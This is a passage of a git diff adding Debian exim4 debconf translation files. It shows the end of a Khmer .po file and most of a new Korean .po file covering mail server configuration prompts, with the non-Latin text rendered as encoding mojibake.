+"ជម្រើស​នáŸáŸ‡â€‹áž‚ួរ​ážáŸ’រូវ​បាន​ជ្រើស ប្រសិន​បើ​ប្រពáŸáž“្ធ​នáŸáŸ‡â€‹áž€áŸ†áž–ុង​ប្រើ Dial-on-Demand ។ "
+"ប្រសិនបើវាážáŸ‚áž„ážáŸ‚មានការចូលដំណើរការ​អ៊ីនធឺណិហជម្រើស​នáŸáŸ‡â€‹áž‚ួរ​ážáŸ’រូវ​បាន​បិទ ។"
+
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+msgid "Mail Server configuration"
+msgstr "ការ​កំណážáŸ‹â€‹ážšáž…នាសម្ពáŸáž“្ធ​ម៉ាស៊ីន​បម្រើ​សំបុážáŸ’ážš"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr "ពុះ​ការ​កំណážáŸ‹â€‹ážšáž…នាសម្ពáŸáž“្ធ​ទៅជា​ឯកសារ​ážáž¼áž…ៗ​ឬ ?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+"កញ្ចប់ exim4 ដáŸáž”ៀន​អាច​ប្រើ 'ការ​កំណážáŸ‹â€‹ážšáž…នាសម្ពáŸáž“្ធ​មិនបំបែក' ឯកសារ monolithic (/etc/exim4/"
+"exim4.conf.template) ឬ 'ការ​កំណážáŸ‹â€‹ážšáž…នាសម្ពáŸáž“្ធ​បំបែក' ដែល​ឯកសារ​កំណážáŸ‹â€‹ážšáž…នាសម្ពáŸáž“្ធ Exim ážáŸ’រូវ​បាន​"
+"ស្ážáž¶áž”នា​ចáŸáž‰â€‹áž–ី​ប្រហែលជា ៥០ ឯកសារ​ážáž¼áž…ៗ​ទៀážáž“ៅ​ក្នុង /etc/exim4/conf.d/ ។"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+"ការ​កំណážáŸ‹â€‹ážšáž…នា​សម្ពáŸáž“្ធ​មិន​ពុះ​គឺ​ប្រសើរ​ជាង​ឈុážâ€‹ážŸáž˜áŸ’រាប់​ការ​កែប្រែ​ដáŸáž’ំ ហើយ​ážáž·ážážáŸážšâ€‹áž‡áž¶áž„ ព្រោះ​ážáž¶ ការ​កំណážáŸ‹â€‹ážšáž…នា​"
+"សម្ពáŸáž“្ធ​ពុះ​ផ្ដល់​នូវ​វិធី​ងាយ​ស្រួល​ដើម្បី​ធ្វើ​ការ​កែប្រែ​ážáž·áž…ážáž½áž… ប៉ុន្ážáŸ‚​ងាយ​ážáž¼áž… ជាង និង​អាច​ážáž¼áž…​ប្រសិន​បើ​បាន​កែប្រែ​"
+"ដោយ​គ្មាន​ការ​ប្រុង​ប្រយáŸážáŸ’ន ។"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+"ការ​ពិភាក្សា​លម្អិážâ€‹áž”ន្ážáŸ‚ម​នៃ​ការ​កំណážáŸ‹â€‹ážšáž…នាសម្ពáŸáž“្ធ​ពុះ និង​មិន​ពុះ អាច​រក​បាន​នៅ​ក្នុង /usr/share/doc/"
+"exim4-base/README.Debian.gz."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr "លាក់​ឈ្មោះ​សំបុážáŸ’រ​មូលដ្ឋាន​នៅ​ក្នុង​សំបុážáŸ’រ​ចáŸáž‰áž¬Â ?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+"ក្បាល​របស់​សំបុážáŸ’រ​ចáŸáž‰â€‹áž¢áž¶áž…​ážáŸ’រូវ​បាន​សរសáŸážšâ€‹ážŠáž¾áž˜áŸ’បី​ធ្វើ​ឲ្យ​វា​បង្ហាញ ដើម្បី​ážáŸ’រូវ​បាន​បង្កើážâ€‹áž“ៅ​លើ​ប្រពáŸáž“្ធ​ផ្សáŸáž„ ។ "
+"ប្រសិន​បើ​ជម្រើស​នáŸáŸ‡â€‹ážáŸ’រូវ​បាន​ជ្រើស \"${mailname}\", \"localhost\" áž“áž·áž„ "
+"\"${dc_other_hostnames}\" នៅក្នុង មកពី, ឆ្លើយážáž”ទៅ, អ្នកផ្ញើ និង​ផ្លូវ​ážáŸ’រឡប់​ážáŸ’រូវ​បាន​សរសáŸážšÂ áŸ”"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr "ទ្រង់ទ្រាយ mbox នៅ​ក្នុង /var/mail/"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr "ទ្រង់​ទ្រាយ Maildir នៅ​ក្នុង​ážážâ€‹áž•áŸ’ទះ"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid "Delivery method for local mail:"
+msgstr "វិធី​សាស្ážáŸ’រ​បញ្ជូន​សម្រាប់​សំបុážáŸ’រ​មូលដ្ឋាន ៖"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+"Exim អាច​ទុក​សំបុážáŸ’រ​ដែល​បាន​បញ្ជូន​មូលដ្ឋាន​ក្នុង​ទ្រង់ទ្រាយ​ផ្សáŸáž„ៗ ។ ភាគ​ច្រើន​បំផុážâ€‹ážŠáŸ‚ល​បាន​ប្រើ​គឺ mbox áž“áž·áž„ "
+"Maildir ។ mbox ប្រើ​ឯកសារ​ážáŸ‚​មួយ​សម្រាប់​ážážâ€‹ážŸáŸ†áž”áž»ážáŸ’រ​ពáŸáž‰áž›áŸáž‰â€‹áž“ៅ​ក្នុង /var/mail/ ។ ជា​មួយ​នឹង​ទ្រង់ទ្រាយ "
+"Maildir សារ​ážáŸ‚​មួយ​ទាំង​អស់​ážáŸ’រូវ​បាន​ទុក​ក្នុង​ឯកសារ​ដោយ​ឡែក​ពី​គ្នា​នៅ​ក្នុង ~/Maildir/ ។"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
+"សូម​ចំណាំ​ážáž¶â€‹áž§áž”ករណáŸážŸáŸ†áž”áž»ážáŸ’រ​ភាគ​ច្រើន​នៅ​ក្នុង​ដáŸáž”ៀន​រំពឹង​វិធី​សាស្ážáŸ’រ​បញ្ជូន​មូលដ្ឋាន​ážáŸ’រូវ​ážáŸ‚ ជា mbox នៅ​ក្នុង​"
+"លំនាំដើម​របស់​ពួក​វា ។"
+
+#~ msgid "Move undelivered mails from exim 3 to exim4 spool?"
+#~ msgstr "ផ្លាស់ទី​សបុážáŸ’រ​ដែល​មិន​បាន​បញ្ជូន​ពី exim 3 ទៅហុង exim4 ?"
+
+#~ msgid ""
+#~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool "
+#~ "directory /var/spool/exim/input/."
+#~ msgstr ""
+#~ "មាន​សំបុážáŸ’រ​ដែល​មិន​បានបញ្ជូន​មួយ​ចំនួន​នៅ exim 3 (ឬ exim-tls 3) ážážâ€‹áž áž»áž„ /var/spool/exim/"
+#~ "input/ ។"
+
+#~ msgid ""
+#~ "Choosing this option will move these messages to exim4's spool (/var/"
+#~ "spool/exim4/input/) where they will be handled by exim4."
+#~ msgstr ""
+#~ "ការ​ជ្រើស​ជម្រើស​នáŸáŸ‡â€‹áž“ឹង​ផ្លាស់ទី​សារ​ទាំង​នáŸáŸ‡â€‹áž‘ៅ​ហុង​របស់ exim4 (/var/spool/exim4/input/) ដែល​"
+#~ "ពួក​វា​នឹង​ážáŸ’រូវ​បាន​គ្រប់គ្រង​ដោយ exim4 ។"
+
+#~ msgid ""
+#~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-"
+#~ "versa. If you reject this option, you need to move the messages yourself "
+#~ "or they will never be delivered."
+#~ msgstr ""
+#~ "វា​ដំណើរការ​ážáŸ‚​មួយ​វិធី​ប៉ុណ្ណោះ ៖ Exim4 អាច​គ្រប់គ្រងហុង exim 3 ប៉ុន្ážáŸ‚​ exim 3 មិន​អាច​គ្រប់គ្រង "
+#~ "Exim4 បាន​ទáŸÂ áŸ” ប្រសិន​បើ​អ្នក​ច្រាន​ចោល​ជម្រើស​នáŸáŸ‡ អ្នក​ážáŸ’រូវážáŸ‚​ផ្លាស់ទី​សារ​របស់​អ្នក​ផ្ទាល់​ ឬ​ពួក​វា​នឹង​"
+#~ "មិន​ážáŸ’រូវ​បាន​បញ្ជូន​ទáŸÂ áŸ”"
diff --git a/debian/po/ko.po b/debian/po/ko.po
new file mode 100644
index 0000000..7cf0b2d
--- /dev/null
+++ b/debian/po/ko.po
@@ -0,0 +1,782 @@
+# Sunjae Park <darehanl@gmail.com>, 2006 - 2007.
+# Changwoo Ryu <cwryu@debian.org>, 2004, 2008.
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: exim4-config\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: 2008-07-20 12:18+0900\n"
+"Last-Translator: Sunjae Park <darehanl@gmail.com>\n"
+"Language-Team: Korean <debian-l10n-korean@lists.debian.org>\n"
+"Language: ko\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid "Remove undelivered messages in spool directory?"
+msgstr "스풀 ë””ë ‰í† ë¦¬ì˜ ë°°ë‹¬í•˜ì§€ ì•Šì€ ë©”ì¼ì„ 지우시겠습니까?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+"eximì˜ ìŠ¤í’€ ë””ë ‰í† ë¦¬ì¸ /var/spool/exim4/input/ì— ì•„ì§ ë°°ë‹¬í•˜ì§€ ì•Šì€ ë©”ì¼ì´ 들"
+"어있습니다. eximì„ ì§€ìš°ë©´ eximì„ ë‹¤ì‹œ 설치할 때까지는 ì´ ë©”ì¼ì€ 배달ë˜ì§€ ì•Š"
+"ì€ ìƒíƒœë¡œ ìžˆì„ ê²ƒìž…ë‹ˆë‹¤."
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+"ì´ ì˜µì…˜ì„ ì„ íƒí•˜ì§€ 않으면 스풀 디렉토리를 그대로 둡니다. ë‚˜ì¤‘ì— eximì„ ë‹¤ì‹œ "
+"설치할 ë•Œ 배달하지 ì•Šì€ ë©”ì‹œì§€ë¥¼ 다시 배달할 수 있습니다."
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr "ì´ íŒ¨í‚¤ì§€ ëŒ€ì‹ ì— exim4-configì„ ë‹¤ì‹œ 설정합니다"
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
+"exim4는 설정 ë¶€ë¶„ì„ exim4-configë¼ëŠ” ì „ìš© íŒ¨í‚¤ì§€ì— ë‘¡ë‹ˆë‹¤. exim4를 다시 설정"
+"하려면 'dpkg-reconfigure exim4-config' ëª…ë ¹ì„ ì‹¤í–‰í•˜ì‹­ì‹œì˜¤."
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr "ì¸í„°ë„· 사ì´íŠ¸, SMTP를 사용해서 ì§ì ‘ ë©”ì¼ì„ 주고 받습니다"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr "스마트호스트로 ë©”ì¼ ë³´ë‚´ê¸°, SMTP나 fetchmailë¡œ 받습니다"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr "스마트호스트로 ë©”ì¼ ë³´ë‚´ê¸°, 로컬 ë©”ì¼ì´ 없습니다"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "local delivery only; not on a network"
+msgstr "로컬 배달 ì „ìš©, ë„¤íŠ¸ì›Œí¬ ì—°ê²°ì´ ì—†ìŠµë‹ˆë‹¤"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr "지금 설정하지 않습니다"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid "General type of mail configuration:"
+msgstr "ì¼ë°˜ì ì¸ ë©”ì¼ ì„¤ì • 종류:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr "보기 중ì—ì„œ 가장 ìš©ë„ì— ë§žëŠ” ë©”ì¼ ì„œë²„ ì„¤ì •ì„ ê³ ë¥´ì‹­ì‹œì˜¤."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+"ì „í™”ì ‘ì† ì‹œìŠ¤í…œì„ í¬í•¨í•œ ë™ì  IP 주소를 사용하는 ì‹œìŠ¤í…œì€ ì¼ë°˜ì ìœ¼ë¡œ \"스마트"
+"호스트\"ë¼ê³  하는 다른 컴퓨터를 통해 보내는 ë©”ì¼ì„ ë³´ë‚´ë„ë¡ ì„¤ì •í•˜ëŠ” ê²ƒì´ ì¢‹"
+"습니다. ì¸í„°ë„·ì—ì„œ ë©”ì¼ì„ ë°›ì„ ì‹œìŠ¤í…œì€ ëŒ€ë¶€ë¶„ 스팸 방지 대책으로 ë™ì  IP 주"
+"소ì—ì„œ 보낸 ë©”ì¼ì„ 막ë„ë¡ ì„¤ì •í•˜ê¸° 때문입니다."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+"ë™ì  IP 주소를 갖는 ì‹œìŠ¤í…œì€ ìžì‹ ì˜ ë©”ì¼ì„ ë°›ë„ë¡ ì„¤ì •í•  ìˆ˜ë„ ìžˆê³ , 로컬 배달"
+"ì„ ì „í˜€ 사용하지 ì•Šë„ë¡ í•  ìˆ˜ë„ ìžˆìŠµë‹ˆë‹¤. (root나 postmasterìš© ë©”ì¼ ì œì™¸.)"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr "ì •ë§ë¡œ ë©”ì¼ ì‹œìŠ¤í…œì„ ì„¤ì •í•˜ì§€ ì•Šì€ ìƒíƒœë¡œ 놔ë‘시겠습니까?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+"ë©”ì¼ ì‹œìŠ¤í…œì„ ì„¤ì •í•˜ê¸° 전까지는, 제대로 ë™ìž‘하지 ì•Šì„ ê²ƒì´ë©° 사용할 ìˆ˜ë„ ì—†ìŠµ"
+"니다. í›„ì— ìˆ˜ë™ìœ¼ë¡œ 설정하거나 rootë¡œ \"dpkg-reconfigure exim4-config\"를 실"
+"행해서 설정할 수 있습니다."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr "시스템 ë©”ì¼ ì´ë¦„:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr ""
+"\"ë©”ì¼ ì´ë¦„\"ì€ ë„ë©”ì¸ ì´ë¦„ì´ ì—†ëŠ” ë©”ì¼ ì£¼ì†Œì˜ ëª©ì ì§€ë¥¼ 정하기 위해 사용하는 "
+"ë„ë©”ì¸ ì´ë¦„ì„ ëœ»í•©ë‹ˆë‹¤."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr ""
+"ë©”ì¼ ì´ë¦„ì€ ë‹¤ë¥¸ 프로그램ì—ì„œë„ ì‚¬ìš©í•©ë‹ˆë‹¤. 유ì¼í•˜ê²Œ 사용하는 ì „ì²´ 추소 ë„ë©”"
+"ì¸ ì´ë¦„(FQDN)ì´ì–´ì•¼ 합니다."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr ""
+"예를 들어 로컬 í˜¸ìŠ¤íŠ¸ì— ìžˆëŠ” ë©”ì¼ ì£¼ì†Œê°€ foo@domain.exampleë¼ë©´, ì´ ì˜µì…˜ì— ë“¤"
+"ì–´ê°ˆ ê°’ì€ domain.example입니다."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr ""
+"다시 쓰기 ê·œì¹™ì´ í™œì„±í™” ë˜ì–´ìžˆì„ 경우 ì´ë¦„ì€ ë‚˜ê°€ëŠ” ë©”ì¼ì˜ From:ì¤„ì— ë‚˜íƒ€ë‚˜"
+"지 않습니다."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
+msgstr "ë‹¤ìŒ ëª©ì ì§€ë¡œ 가는 ë©”ì¼ì€ 받아들ì´ê¸°:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+"ì´ ì»´í“¨í„°ê°€ 마지막으로 ë°›ì„ ë©”ì¼ì´ë¼ê³  취급할 ë„ë©”ì¸ì˜ 목ë¡ì„ 세미콜론으로 구"
+"분하여 입력하십시오. ì´ëŸ¬í•œ ë„ë©”ì¸ì„ 보통 \"로컬 ë„ë©”ì¸\"ì´ë¼ê³  부릅니다. ë¡œ"
+"컬 호스트 ì´ë¦„(${fqdn})ì´ë‚˜ \"localhost\"ì€ ì—¬ê¸°ì— ìž…ë ¥í•˜ì‹  목ë¡ì— ìžë™ìœ¼ë¡œ "
+"추가ë©ë‹ˆë‹¤."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+"기본ì ìœ¼ë¡œ 모든 로컬 ë„ë©”ì¸ì€ ëª¨ë‘ ë™ì¼í•˜ê²Œ 처리합니다. a.example와 b."
+"example ëª¨ë‘ ë¡œì»¬ ë„ë©”ì¸ì´ë¼ë©´, acc@a.example와 acc@b.example ëª¨ë‘ ê°™ì€ ìµœì¢… "
+"목ì ì§€ë¡œ 배달ë©ë‹ˆë‹¤. ë„ë©”ì¸ì— ë”°ë¼ ë‹¤ë¥´ê²Œ 처리하ë„ë¡ í•˜ë ¤ë©´, ë‚˜ì¤‘ì— ì„¤ì • 파ì¼"
+"ì„ ì§ì ‘ 편집해야 합니다."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr "ë‹¤ìŒ ë„ë©”ì¸ìœ¼ë¡œ 가는 ë©”ì¼ì€ 릴레ì´:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+"예비 MX나 ë©”ì¼ ê²Œì´íŠ¸ì›¨ì–´ 등 ì´ ì‹œìŠ¤í…œì´ ë©”ì¼ì„ 전달할 수신 ë„ë©”ì¸ì„ 세미콜론"
+"으로 êµ¬ë¶„ëœ ëª©ë¡ì„ 입력해주십시오. ì´ë ‡ê²Œ 하면 ì´ ì‹œìŠ¤í…œì€ ì¸í„°ë„· ì–´ë””ì—서든"
+"지 해당 ë„ë©”ì¸ì„ 위해 ë©”ì¼ì„ 받아들여서 로컬 배달 ê·œì¹™ì— ë”°ë¼ ë©”ì¼ì„ 배달하"
+"게 ë©ë‹ˆë‹¤."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr "로컬 ë„ë©”ì¸ì€ 사용하지 마십시오. 와ì¼ë“œì¹´ë“œëŠ” ì‚¬ìš©í•´ë„ ë©ë‹ˆë‹¤."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr "ë‹¤ìŒ ì»´í“¨í„°ë¡œ 가는 ë©”ì¼ì„ 릴레ì´:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+"스마트호스트로 ë™ìž‘하는 ì´ ì‹œìŠ¤í…œì´ ë¬´ì¡°ê±´ì ìœ¼ë¡œ ë©”ì¼ì„ 전달할 IP 주소 대역"
+"ì˜ ëª©ë¡ì„ 세미콜론으로 구분하여 입력하여 주십시오."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+"\"주소/길ì´\"ì‹ì˜ 표준 형ì‹ì„ 사용해야 합니다. (예: 194.222.242.0/24 아니면 "
+"5f03:1200:836f::/48)"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr ""
+"ì´ ì‹œìŠ¤í…œì´ ë‹¤ë¥¸ 호스트를 위한 스마트호스트 ì—­í• ì„ í•˜ì§€ ì•Šì„ ê²½ìš° ì´ ëª©ë¡ì„ "
+"비워ë‘십시오."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr "로컬 사용ìžê°€ ì™¸ë¶€ì— ì‚¬ìš©í•  ë„ë©”ì¸ ì´ë¦„:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr ""
+"나가는 ë©”ì¼ì—ì„œ 로컬 ë©”ì¼ ì´ë¦„ì„ ìˆ¨ê¸°ë„ë¡ í•˜ëŠ” ì˜µì…˜ì´ í™œì„±í™”ë˜ì—ˆìŠµë‹ˆë‹¤. ë”°ë¼"
+"ì„œ 로컬 사용ìžì˜ 보내는 사람 ì£¼ì†Œì˜ ë„ë©”ì¸ ë¶€ë¶„ì— í•´ë‹¹í•˜ëŠ” ë„ë©”ì¸ ì´ë¦„ì„ ì§€ì •"
+"하셔야 합니다."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr "외부로 보내는 ìŠ¤ë§ˆíŠ¸í˜¸ìŠ¤íŠ¸ì˜ IP 주소나 호스트 ì´ë¦„:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
+"IPv6 addresses need to be doubled."
+msgstr ""
+"외부로 나가는 스마트호스트로 사용할 IP 주소나 호스트 ì´ë¦„ì„ ìž…ë ¥í•´ì£¼ì‹­ì‹œì˜¤. "
+"스마트호스트가 TCP/25와 다른 í¬íŠ¸ë§Œì„ 사용한다면 콜론(:) 2개와 í¬íŠ¸ë²ˆí˜¸(예를 "
+"들어 smarthost.example::587ì´ë‚˜ 192.168.254.254::2525)를 ë’¤ì— ë¶™ì´ì‹­ì‹œì˜¤. "
+"IPv6 ì£¼ì†Œì— ìžˆëŠ” ì½œë¡ ì€ ì¤‘ë³µí•´ì„œ 입력하셔야 합니다."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
+msgstr ""
+"스마트호스트가 ì¸ì¦ì„ 필요로 í•  경우, /usr/share/doc/exim4-baseì—ì„œ SMTP ì¸ì¦"
+"ì„ ì„¤ì •í•˜ëŠ” ë°©ë²•ì— ê´€í•œ ë°ë¹„안 관련 README 파ì¼ì„ 참조하십시오."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr "root ë° postmaster ë©”ì¼ì„ ë°›ì„ ì‚¬ëžŒ:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+"\"postmaster\"나 \"root\" 등 기타 시스템 ê³„ì •ì˜ ë©”ì¼ì€ 실제 시스템 관리ìžì˜ "
+"ì‚¬ìš©ìž ê³„ì •ìœ¼ë¡œ 전달ë˜ì–´ì•¼ 합니다."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
+msgstr ""
+"ì´ ê°’ì„ ë¹„ì›Œë‘˜ 경우 ì´ëŸ¬í•œ ë©”ì¼ì€ /var/mail/mailì— ì €ìž¥ë˜ê²Œ ë˜ëŠ”ë°, ì´ëŠ” 권장"
+"하지 않습니다."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+"postmasterì˜ ë©”ì¼ì€ 다른 시스템으로 전달하지 ì•Šê³  목표 시스템ì—ì„œ 바로 ì½ëŠ” "
